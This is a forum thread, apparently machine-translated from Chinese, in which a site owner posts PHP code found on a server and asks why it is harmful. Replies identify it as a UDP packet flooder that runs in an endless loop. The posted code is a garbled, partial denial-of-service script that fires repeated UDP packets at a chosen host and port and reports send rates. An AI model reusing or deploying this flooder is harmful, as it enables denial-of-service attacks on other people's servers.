Why is this file damaging to the website?

Why do you think this file is damaging to the website?

PHP Code

  
  0) {echo $_get[' rat '].$_server["Http_host"]. "|". gethostbyname ($_server[' server_name '). "|". Php_uname (). "|".                $_server[' server_software '].$_get[' rat ';            Exit        } echo "Warning to:opening";    Exit    }for ($i =0; $i < $Sendlen; $i + +) {$out. = "A";    } $max _time = time () + $exec _time;while (1) {$packets + +;    if (Time () > $max _time) {break;        } $fp = Fsockopen ("udp://$host", $port, $errno, $ERRSTR, 5);            if ($fp) {fwrite ($fp, $out);    Fclose ($FP); }}echo "Send Host: $host: $port

"; echo" Send Flow: $packets * ($Sendlen/1024= ". Round ($Sendlen/1024, 2). ") kb/1024 =". Round ($packets * $Sendlen/1024/1024, 2). "MB

"; echo" Send rate: ". Round ($packets/$exec _time, 2). "PACKS/S;". Round ($packets/$exec _time* $Sendlen/1024/1024, 2). "MB/s";? >

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The network of the target server is constantly sending spam packets. Is this a mine?
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Do not know what the landlord wants to do!
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Where did you get this code from? How to solve? Found on the server?
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Dead loop
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Ignore_user_abort (True) plus a dead loop without rest
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discuss

Ignore_user_abort (True) plus a dead loop without rest

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discuss

This is my in Guangzhou, a general support a company to do the website, the company's buddies and the company have a feast, in the work with emotions.

I think such a person is not worthy of writing code, too no character, unprofessional guy!

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Ignore_user_abort (True); This is good!
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Why not remove all programs and tables?
So many direct,

The original consumption of PHP server resources is so consumption ah,
Understand the knowledge, good,

